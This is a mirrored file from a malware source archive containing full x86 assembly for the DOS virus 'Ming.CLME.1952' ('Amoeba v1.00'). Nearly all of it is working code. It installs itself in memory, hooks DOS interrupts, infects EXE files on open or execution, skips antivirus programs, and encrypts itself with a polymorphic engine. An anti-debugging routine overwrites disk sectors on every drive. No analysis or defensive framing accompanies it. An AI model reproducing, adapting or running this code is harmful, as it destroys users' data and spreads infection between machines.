mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 09:26:09 +00:00
1029 lines
22 KiB
NASM
1029 lines
22 KiB
NASM
;---------------------------------------------------------------------------;
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; Title: Ming.CLME.1952 ;
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; (c) 1996 Malware Technology ;
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; Disclaimer: Malware Technology is not responsible for any problems ;
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; caused due to assembly of this source. ;
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;---------------------------------------------------------------------------;
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.radix 10h
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.model small
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.code
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.386
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assume cs:_TEXT,ds:_TEXT,ss:_TEXT
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start:
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call flex2
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flex2:
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pop si
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; sub si, offset flex2 - offset start
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db 81,0EE
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dw offset flex2 - offset start
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xor ax,ax
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mov ds,ax ; DS := 0
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; Debugger Trap I
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mov ax,cs
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shl eax,10 ; Put segment into upper 16bit of eax
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lea ax,newint01[si]
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xchg eax,dword ptr ds:[4] ; int 01 vector
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mov dword ptr ds:[4],eax
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; Debugger Trap II
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; make a checksum over the virus
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mov al,0
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mov bx,si
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mov cx,19bh
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checksum_loop:
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add al,byte ptr cs:[bx]
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inc bx
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loop checksum_loop
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cmp al,byte ptr cs:checksum[si]
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jne newint01
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cli
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dec sp
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sti
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push es
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mov ah,0f2
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int 21 ; self-check
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cmp ah,2 ; i am resident ?
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jnz not_resident ; no
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call flex3
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flex3:
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pop ax
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sub ax,offset flex3 - offset start
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xchg bp,ax
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push cs
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pop ds ; DS := CS
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push cs
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pop es ; ES := CS
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lea si,initial_regs[bp]
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lea di,old_ip[bp]
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cld
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mov cx,8
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rep movsb
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pop es ; PSP segment
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push es
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mov ax,es
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add ax,10
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add cs:old_cs[bp],ax
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add cs:old_ss[bp],ax
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mov ah,2ch
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int 21 ; Get Time
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cmp dh,2 ; Seconds = 2 ?
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jnz no_damage ; No
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; Damage function
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push bp
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mov ah,3
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mov bh,0
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int 10 ; Get Cursor Position at Page 0
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push cx ; and save it
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push dx
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mov ax,1301 ; Give out string
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mov dx,0800 ; (8,0)
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push cs
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pop es ; ES := CS
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lea bp,copyright[bp] ; adress of string
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mov bl,0f0 ; Attributes
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mov cx,offset end_copyright - offset copyright
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; Length of String
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int 10 ; now
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mov ah,2 ; set cursor position
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pop dx ; get from stack
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pop cx
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int 10
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pop bp
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mov cx,0b6
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sti
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stop_loop:
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hlt
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loop stop_loop
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no_damage:
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pop es ; PSP segment
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push es
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pop ds
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cli
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mov ss,word ptr cs:old_ss[bp]
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mov sp,word ptr cs:old_sp[bp]
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sti
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jmp start_host
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not_resident:
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call flex4
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flex4:
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pop si
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sub si,offset flex4 - offset start
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pop ax ; PSP-segment
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add ax,10
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mov es,ax ; Segment after PSP
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push es
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xor ax,ax
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xchg di,ax
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mov ds,ax ; DS := 0
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; Debugger Trap III
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mov eax,0CBA4F3FC ; CLD; REPZ; MOVSB; RETF
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xchg eax,dword ptr ds:[000C]
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mov cs:oldint03[si],eax
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mov ax,offset start_over
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push ax
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mov cx,offset virus_end - offset start ; size of whole virus
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push cs
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pop ds
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; DS:SI - begin of virus
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; ES:DI - right after PSP
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; return adress on stack ES:00E5
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db 0EA
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dd 0000000Ch ; JMP FAR 0000:000C
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start_over:
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xor ax,ax
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mov ds,ax ; DS := 0
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mov ax,cs
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shl eax,10
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mov ax,offset newint21
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xchg eax,dword ptr ds:[84] ; Set new int 21
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mov cs:oldint21,eax ; and save old one
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mov eax,oldint03
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mov dword ptr ds:[200],eax ; Set int 80 to int 03
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; Get name of started program
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push cs
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pop ax
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sub ax,10 ; => PSP segment
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mov ds,ax
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mov es,ax
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mov ax,word ptr ds:[2c] ; segment of enviroment
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mov ds,ax
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mov bx,0ffff
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env_loop:
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inc bx
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cmp word ptr ds:[bx],0
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jnz env_loop
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cmp word ptr ds:[bx+2],1
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jnz env_loop
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add bx,4
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mov dx,bx
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mov bx,offset exec_param_buffer
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mov word ptr cs:[bx+4],es ; segment of command string
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mov word ptr cs:[bx+8],es ; segment of 1st FCB
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mov word ptr cs:[bx+0c],es ; segment of 2nd FCB
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push ds
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push es
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xor ax,ax
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mov es,ax ; ES := 0
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lds bx,dword ptr es:[0C1] ; ???
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cmp word ptr ds:[bx],9090
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jnz @@103
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mov bx,[bx+8]
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lds bx,dword ptr ds:[bx]
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@@103:
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mov cx,25
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add bx,cx
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@@105:
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inc bx
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cmp word ptr [bx],0FC80
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jnz @@104
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mov ax,bx
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@@104:
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loop @@105
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mov di,offset tunneled_int21
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push cs
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pop es
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cld
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stosw
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mov ax,ds
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stosw
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pop ax
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push ax
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dec ax
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mov ds,ax
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mov dword ptr ds:[8],656F6D41
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mov dword ptr ds:[0C],315F6162
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pop es
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pop ds
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mov ah,4ah
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mov bx,1000 ; virus needs 64 kbyte !
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int 21
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mov ax,4b00
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push cs
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pop es
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mov bx,offset exec_param_buffer
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int 21
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mov ah,4dh
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int 21 ; get ERRORLEVEL
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mov ah,31
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mov dx,0200
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call call_int21
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; Exec-Param-Block
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exec_param_buffer dw ? ; segment of enviroment
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dw 0080 ; offset of command string
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dw ? ; segment of command string
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dw 005C ; offset of 1st FCB
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dw ? ; segment of 1st FCB
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dw 006C ; offset of 2nd FCB
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dw ? ; segment of 2nd FCB
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copyright db ' *Amoeba v1.00* ',0ah,0dh
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db 'Written by Crazy Lord (Ming)',0ah,0dh
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db ' Made in Hong Kong '
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end_copyright equ $
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newint01:
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call tunnel_int13
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xor ax,ax
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mov ds,ax ; DS := 0
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mov ah,19
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int 21 ; get actual drive
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xchg al,dl ; drive number into dl
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mov dh,0 ; Head 0
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mov cx,1 ; Track 0 Sector 1
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trash_next_track:
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mov ax,301 ; Write one sector
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pushf
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call dword ptr ds:[004ch] ; call int 13h
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inc ch ; next Track
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cmp ch,22
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jnz trash_next_track
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inc dl ; next drive
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jmp trash_next_track
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newint21:
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pushf
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cmp ah,0f2
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jnz not_selfcheck
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mov ah,2
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popf
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iret
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not_selfcheck:
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cmp ax,4b00
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jz infect_file
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cmp ah,3dh
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jz infect_file
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cmp ah,56
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jz infect_file
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cmp ah,43
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jz infect_file
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go_old21:
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popf
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db 0EA ; JMP FAR xxxx:xxxx
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oldint21 dd ? ; (0246)
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infect_file:
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pusha
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mov bx,dx
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dec bx
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next_char:
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inc bx
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cmp byte ptr ds:[bx],0 ; end of string ?
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jnz next_char
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cmp word ptr ds:[bx-2],'EX' ; EXE-file ?
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jz is_exe
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do_not:
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popa
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jmp go_old21
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is_exe:
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cmp word ptr ds:[bx-6],'NA' ; 'TBSCAN.EXE' ?
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jz do_not
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cmp word ptr ds:[bx-6],'TO' ; 'F-PROT.EXE' ?
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jz do_not
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cmp word ptr ds:[bx-6],'86'
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jz do_not
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cmp word ptr ds:[bx-6],'YP'
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jz do_not
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cmp word ptr ds:[bx-6],'GE'
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;* jz do_not
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push ds
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push es
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call tunnel_int13
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mov ax,3d02
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call call_int21 ; open file for read/write
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xchg bx,ax
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mov ax,5700
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call call_int21 ; get files date & time
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push dx ; and save them
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push cx
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or cx,0FFF0
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cmp cx,0FFFF ; seconds = 30 or 62 ?
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jnz do_infect
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pop cx
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pop dx
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jmp close_file
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do_infect:
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push cs
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pop ds
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mov ah,3f
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mov cx,18
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mov dx,offset buffer
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call call_int21 ; read 24 byte from file
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push cx
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push dx
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les ax,dword ptr buffer[0E]
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mov word ptr initial_regs[4],ax
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mov word ptr initial_regs[6],es
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les ax,dword ptr buffer[14]
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mov word ptr initial_regs,ax
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mov word ptr initial_regs[2],es
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mov ax,4202
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xor cx,cx
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cwd
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call call_int21 ; seek to end of file
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push dx ; filesize
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push ax
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push bx ; file handle
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mov bx,word ptr buffer[8]
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shl bx,4 ; *16
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sub ax,bx
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sbb dx,0
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mov bx,10
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div bx
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mov word ptr buffer[16],ax
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add ax,100
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mov word ptr buffer[0E],ax
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mov word ptr buffer[14],dx
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mov word ptr buffer[10],0
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mov cs:int_ss,ss
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mov cs:int_sp,sp
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mov ax,cs
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cli
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mov ss,ax
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mov sp,offset own_stack
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sti
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mov ax,cs
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mov bx,offset virus_end + 50
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shr bx,4
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add ax,bx
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mov es,ax
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mov bp,dx
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mov dx,0
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mov cx,offset virus_end
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call mutate
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cli
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mov sp,cs:int_sp
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mov ss,cs:int_ss
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sti
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pop bx ; file handle
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mov ah,40
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cwd
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call call_int21 ; append virus to file
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push cs
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pop ds
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pop ax ; filesize
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pop dx
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add ax,cx
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adc dx,0
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push bx
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mov bx,0200
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div bx ; => size in pages
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mov word ptr buffer[2],dx
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or dx,dx
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jz last_page_full
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inc ax
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last_page_full:
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mov word ptr buffer[4],ax
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mov ax,4200
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pop bx
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xor cx,cx
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cwd
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call call_int21 ; seek to top of file
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mov ah,40
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pop dx
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pop cx
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call call_int21 ; write new header to file
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mov ax,5701
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pop cx
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pop dx
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or cx,0F
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call call_int21 ; set modified time
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close_file:
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mov ah,3e
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call call_int21 ; close file
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mov ah,0dh
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int 21 ; reset all drives
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xor ax,ax
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mov ds,ax ; DS := 0
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mov ax,word ptr cs:oldint13
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mov word ptr ds:[4c],ax
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mov ax,word ptr cs:oldint13+2
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mov word ptr ds:[4e],ax
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pop es
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pop ds
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popa
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jmp go_old21
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call_int21:
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pushf
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db 09A ; CALL FAR xxxx:xxxx
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tunneled_int21 dd ?
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ret
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tunnel_int13:
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pusha
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push ds
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push es
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xor bx,bx
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mov es,bx ; ES := 0
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mov ax,0F000
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mov ds,ax ; DS := 0F000
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search_loop:
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inc bx
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cmp dword ptr ds:[bx],0FB80FA80
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jnz search_loop
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mov ax,ds
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shl eax,10
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xchg bx,ax
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xchg eax,dword ptr es:[004c] ; set new int 13
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mov dword ptr cs:oldint13,eax ; save old int 13
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pop es
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pop ds
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popa
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ret
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start_host:
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db 0EA ; JMP FAR
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old_ip dw ?
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old_cs dw ?
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old_ss dw ?
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old_sp dw ?
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oldint13 dd ?
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oldint03 dd ?
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initial_regs dw ?
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dw ?
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dw ?
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dw ?
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checksum db 06F
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buffer db 18 dup (?)
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int_sp dw ?
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int_ss dw ?
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db 28 dup (?)
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own_stack:
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db 9 dup (?)
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; Input:
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; CX - byte to crypt
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; DS:DX - pointer to ccode to crypt (DS must be equal to CS!)
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; ES - working segment
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; BP - offset the deryptor should run on later
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; Output:
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; CX - byte in encrypted code and decryptor
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; DS:DX - pointer to decryptor end encr. code
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mutate:
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jmp start2
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db 'CLME V0.62'
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start2:
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push ax
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push bx
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push si
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push di
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xchg bp,ax
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; get offset the engine runs on
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call flex1
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flex1:
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pop bp
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sub bp,offset flex1
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; save parameters
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mov o_es[bp],es
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mov o_ds[bp],ds
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mov o_dx[bp],dx
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mov o_cx[bp],cx
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mov o_ax[bp],ax
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; init the engine
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xor di,di ; it begins at ES:0 to create the decryptor
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mov step_count[bp],0 ; begin with step 0
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mov int_allready[bp],0 ; no int 8/1c generated yet
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next_round:
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;
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call rnd_get
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mov bl,12 ; random values 0..E
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call rnd_limited
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xor ah,ah
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xchg cx,ax
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jcxz next_round ; 0 not allowed
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cmp step_count[bp],2
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ja after_step_2
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add cx,10 ; up to step 2 use more junk
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after_step_2:
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cmp step_count[bp],6 ; before last step ?
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jz step_6 ; yes
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call rnd_get
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mov bl,33 ; random value from 0..5
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call rnd_limited
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cmp al,5
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jz case_1
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cmp al,4
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jz case_2
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cmp al,3
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jz case_3
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cmp al,2
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jz case_4
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cmp al,1
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jz case_5
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; generate a int 8/1c
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cmp di,10 ; within the first 16 byte ?
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jb do_not_gen_int ; yes then do not generate
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cmp int_allready[bp],1 ; allready generated such a int ?
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jz do_not_gen_int ; yes then do not generate
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mov int_allready[bp],1 ; set flag
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mov al,0cdh ; INT
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stosb
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call rnd_get
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and ax,1
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or al,al
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jz int_1c ; take INT 1c
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mov al,8 ; take int 8
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jmp int_both
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int_1c:
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mov al,1c
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int_both:
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stosb ; put the int number
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;org 98
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do_not_gen_int:
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loop after_step_2
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jmp junk_done
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;org 9C
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case_5:
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call junk1
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jmp do_not_gen_int
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;org 0A1
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case_1:
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call junk2
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jmp do_not_gen_int
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;org 0A6
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case_2:
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call junk3
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jmp do_not_gen_int
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;org 0AB
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case_3:
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call junk4
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jmp do_not_gen_int
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;org 0B0
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case_4:
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|
call junk5
|
|
jmp do_not_gen_int
|
|
;org 0B5
|
|
step_6:
|
|
call junk6
|
|
loop after_step_2
|
|
jmp not_step_4
|
|
;org 0BC
|
|
junk_done:
|
|
cmp step_count[bp],0
|
|
jnz not_step_0
|
|
; Init Address
|
|
mov pos_addrinit[bp],di ; save position
|
|
inc step_count[bp]
|
|
lea si,mov_ax[bp] ; MOV AX opcode
|
|
cld
|
|
movsb
|
|
movsw ; put it
|
|
jmp next_round
|
|
not_step_0:
|
|
cmp step_count[bp],1
|
|
jnz not_step_1
|
|
; Init encryption value
|
|
mov pos_encrinit[bp],di ; save position
|
|
inc step_count[bp]
|
|
lea si,mov_al[bp] ; MOV AL opcode
|
|
cld
|
|
movsw ; put it
|
|
jmp next_round
|
|
not_step_1:
|
|
cmp step_count[bp],2
|
|
jnz not_step_2
|
|
; make encryption
|
|
mov pos_encrypt[bp],di
|
|
inc step_count[bp]
|
|
lea si,xor_opcode[bp]
|
|
cld
|
|
movsb
|
|
movsw
|
|
jmp next_round
|
|
not_step_2:
|
|
cmp step_count[bp],3
|
|
jnz not_step_3
|
|
; make encryption value modifier
|
|
mov pos_modif[bp],di ; save postion
|
|
inc step_count[bp]
|
|
lea si,add_al[bp] ; ADD AL opcode
|
|
cld
|
|
movsw
|
|
jmp next_round
|
|
not_step_3:
|
|
cmp step_count[bp],4
|
|
jnz not_step_4
|
|
; make address increase
|
|
mov pos_increase[bp],di ; save position
|
|
inc step_count[bp]
|
|
lea si,inc_ax[bp] ; INC AX opcode
|
|
cld
|
|
movsb
|
|
jmp next_round
|
|
|
|
not_step_4:
|
|
cmp step_count[bp],5
|
|
jnz not_step_5
|
|
; make address compare
|
|
mov pos_addrcmp[bp],di ; save position
|
|
inc step_count[bp]
|
|
lea si,cmp_ax[bp] ; CMP AX,value opcode
|
|
cld
|
|
movsw
|
|
movsw
|
|
jmp next_round
|
|
|
|
not_step_5:
|
|
; end decryptor with JNZ
|
|
mov pos_loopjmp[bp],di
|
|
lea si,jnonz[bp] ; JNZ (backwards to begin of loop)
|
|
cld
|
|
movsw ; put it
|
|
; choose encryption value
|
|
call rnd_get
|
|
mov encr_val[bp],al
|
|
; and put it into the opcode with initializises it
|
|
mov di,pos_encrinit[bp]
|
|
inc di
|
|
cld
|
|
stosb
|
|
;
|
|
call choose_addrreg
|
|
mov di,pos_addrinit[bp]
|
|
add byte ptr es:[di],al
|
|
mov di,pos_increase[bp]
|
|
add byte ptr es:[di],al
|
|
mov di,pos_addrcmp[bp]
|
|
inc di
|
|
add byte ptr es:[di],al
|
|
mov di,pos_encrypt[bp]
|
|
inc di
|
|
inc di
|
|
cmp al,3
|
|
jnz is_not_bx
|
|
add byte ptr es:[di],9
|
|
jmp zero_encryption_value
|
|
is_not_bx:
|
|
add byte ptr es:[di],al
|
|
zero_encryption_value:
|
|
; choose the value for the encryption modifying
|
|
call rnd_get
|
|
or al,al
|
|
jz zero_encryption_value
|
|
mov modif_val[bp],al
|
|
; insert it into the modifier opcode
|
|
mov di,pos_modif[bp]
|
|
inc di
|
|
mov byte ptr es:[di],al
|
|
; fix the address in the address init
|
|
mov di,pos_addrinit[bp]
|
|
inc di
|
|
mov ax,pos_loopjmp[bp]
|
|
inc ax
|
|
inc ax
|
|
add ax,o_ax[bp]
|
|
stosw
|
|
; fix the address in the address compare
|
|
mov di,pos_addrcmp[bp]
|
|
inc di
|
|
inc di
|
|
add ax,o_cx[bp]
|
|
inc ax
|
|
stosw
|
|
; fix the jnz that makes the loop
|
|
mov di,pos_loopjmp[bp]
|
|
mov ax,pos_encrypt[bp]
|
|
sub ax,di
|
|
dec ax
|
|
dec ax
|
|
inc di
|
|
stosw ; stores as word but higher byte will be overwritten
|
|
; copy the code to crypt after the decryptor
|
|
mov ds,o_ds[bp]
|
|
mov si,o_dx[bp]
|
|
mov di,pos_loopjmp[bp]
|
|
inc di
|
|
inc di
|
|
mov cx,o_cx[bp]
|
|
cld
|
|
rep movsb
|
|
; encrypt the whole stuff
|
|
mov al,encr_val[bp]
|
|
mov di,pos_loopjmp[bp]
|
|
inc di
|
|
inc di
|
|
mov cx,o_cx[bp]
|
|
mov ah,modif_val[bp]
|
|
encryption_loop:
|
|
xor es:[di],al
|
|
inc di
|
|
add al,ah
|
|
loop encryption_loop
|
|
; calculate result values
|
|
mov cx,pos_loopjmp[bp]
|
|
inc cx
|
|
inc cx
|
|
add cx,o_cx[bp]
|
|
push es
|
|
pop ds
|
|
xor dx,dx
|
|
; leave the engine
|
|
pop di
|
|
pop si
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
|
|
;org 212
|
|
junk1:
|
|
push cx
|
|
call rnd_get
|
|
push bx
|
|
mov bl,1c ; random value 0..9
|
|
call rnd_limited
|
|
pop bx
|
|
lea bx,junk_table[bp]
|
|
xor ah,ah
|
|
add bx,ax ; index in thhe table
|
|
mov al,byte ptr ds:[bx] ; get opcode
|
|
cld
|
|
stosb ; put it
|
|
; add second byte
|
|
call choose_reg8
|
|
xchg al,bl
|
|
mov cl,3
|
|
shl bl,cl
|
|
call choose_reg8
|
|
add al,bl
|
|
add al,0C0
|
|
cld
|
|
stosb
|
|
pop cx
|
|
ret
|
|
|
|
;org 23Dh
|
|
junk2:
|
|
push cx
|
|
call rnd_get
|
|
push bx
|
|
mov bl,1c ; random value 0..9
|
|
call rnd_limited
|
|
pop bx
|
|
lea bx,junk_table[bp]
|
|
xor ah,ah
|
|
add bx,ax
|
|
mov al,byte ptr ds:[bx] ; get opcode
|
|
inc al ; make it a word operation
|
|
cld
|
|
stosb ; put it
|
|
call choose_reg16
|
|
xchg al,bl
|
|
mov cl,3
|
|
shl bl,cl
|
|
call choose_reg16
|
|
add al,bl
|
|
add al,0C0
|
|
cld
|
|
stosb ; put second byte
|
|
pop cx
|
|
ret
|
|
|
|
;org 26A
|
|
junk3:
|
|
mov al,80 ; prefix 80
|
|
jmp prefix_junk
|
|
;org 26E
|
|
junk4:
|
|
mov al,81 ; prefix 81
|
|
jmp prefix_junk
|
|
;org 272
|
|
junk5:
|
|
mov al,83 ; prefix 83
|
|
jmp prefix_junk
|
|
;org 276
|
|
prefix_junk:
|
|
push cx
|
|
cld
|
|
stosb ; put the prefix
|
|
xor ah,ah
|
|
xchg al,dl ; save prefix to DL
|
|
call rnd_get
|
|
mov bl,24
|
|
call rnd_limited ; random value 0..7
|
|
mov cl,3
|
|
shl al,cl
|
|
add al,0c0
|
|
xchg al,bl ; save to bl
|
|
cmp dl,80 ; prefix was 80 ?
|
|
jnz its_word_register ; no then word reg
|
|
call choose_reg8
|
|
jmp reg_choosen
|
|
its_word_register:
|
|
call choose_reg16
|
|
reg_choosen:
|
|
add al,bl ; add to previous calculated
|
|
cld
|
|
stosb ; put it
|
|
call rnd_get
|
|
cmp dl,81 ; was prefix 81 ?
|
|
jz put_word_data ; then put word data
|
|
cld
|
|
stosb ; put data
|
|
jmp putted_data
|
|
put_word_data:
|
|
cld
|
|
stosw ; put data
|
|
putted_data:
|
|
pop cx
|
|
ret
|
|
;org 2AE
|
|
junk6:
|
|
push cx
|
|
call rnd_get
|
|
and al,1
|
|
lea bx,junk_part[bp]
|
|
xor ah,ah
|
|
add bx,ax
|
|
mov al,byte ptr ds:[bx] ; get opcode
|
|
cld
|
|
stosb ; put it
|
|
call choose_reg16 ; insert regs into second byte
|
|
xchg al,bl
|
|
mov cl,3
|
|
shl bl,cl
|
|
call choose_reg16
|
|
add al,bl
|
|
add al,0c0
|
|
cld
|
|
stosb ; put it
|
|
pop cx
|
|
ret
|
|
|
|
;org 2D4
|
|
; Get a random value in AX
|
|
rnd_get:
|
|
push bx
|
|
push cx
|
|
lea bx,last_rnd[bp]
|
|
in al,40
|
|
xchg al,cl
|
|
in al,40
|
|
xchg al,ah
|
|
in al,40
|
|
assume ds:nothing
|
|
add ax,word ptr cs:[bx]
|
|
rol ax,cl
|
|
mov word ptr cs:[bx],ax
|
|
assume ds:_TEXT
|
|
pop cx
|
|
pop bx
|
|
ret
|
|
|
|
; 2ef
|
|
rnd_limited:
|
|
; limited random number
|
|
; 0...FFh/BL
|
|
push dx
|
|
xor dx,dx
|
|
call rnd_get
|
|
mov ah,0
|
|
div bl
|
|
pop dx
|
|
ret
|
|
; 2fb
|
|
|
|
choose_addrreg:
|
|
call rnd_get
|
|
push bx
|
|
mov bl,24
|
|
call rnd_limited
|
|
pop bx
|
|
cmp al,3
|
|
jz adress_reg_choosen ; BX is ok
|
|
cmp al,6
|
|
jb choose_addrreg ; only ok for SI,DI
|
|
adress_reg_choosen:
|
|
ret
|
|
|
|
; org 30e
|
|
choose_reg8:
|
|
call rnd_get
|
|
push bx
|
|
mov bl,24 ; random value 0..7
|
|
call rnd_limited
|
|
pop bx
|
|
or al,al
|
|
jz choose_reg8 ; 0 not allowed (AL)
|
|
cmp al,3
|
|
jz choose_reg8 ; 3 not ok (BL)
|
|
cmp al,7
|
|
jz choose_reg8 ; 7 not ok (BH)
|
|
ret
|
|
|
|
;org 325
|
|
choose_reg16:
|
|
call rnd_get
|
|
push bx
|
|
mov bl,24 ; random value 0..7
|
|
call rnd_limited
|
|
pop bx
|
|
or al,al ; 0 not ok (AX)
|
|
jz choose_reg16
|
|
cmp al,3 ; 3 not ok (BX)
|
|
jz choose_reg16
|
|
cmp al,4 ; 4 not ok (SP)
|
|
jz choose_reg16
|
|
cmp al,6 ; 6,7 not ok (SI,DI)
|
|
jnb choose_reg16
|
|
ret
|
|
|
|
|
|
modif_val db ?
|
|
encr_val db ?
|
|
last_rnd dw ?
|
|
step_count db ?
|
|
int_allready db ?
|
|
o_es dw ?
|
|
o_ds dw ?
|
|
o_dx dw ?
|
|
o_cx dw ?
|
|
o_ax dw ?
|
|
pos_addrinit dw ?
|
|
pos_encrinit dw ?
|
|
pos_encrypt dw ?
|
|
pos_modif dw ?
|
|
pos_increase dw ?
|
|
pos_addrcmp dw ?
|
|
pos_loopjmp dw ?
|
|
|
|
db 0C0 ;*
|
|
junk_table db 0,8,10,18,20,28,30,84
|
|
junk_part db 86,88 ; XCHG, MOV
|
|
mov_ax db 0B8,0,0 ; MOV AX,0
|
|
mov_al db 0B0,0 ; MOV AL,0
|
|
xor_opcode db 2E,30,0FE ; XOR BYTE PTR CS:[reg16],reg8
|
|
add_al db 4,0 ; ADD AL,0
|
|
inc_ax db 40 ; INC AX
|
|
cmp_ax db 81,0F8,0,0 ; CMP AX,0
|
|
jnonz db 75,1E ; JNZ
|
|
|
|
virus_end equ $
|
|
|
|
end start
|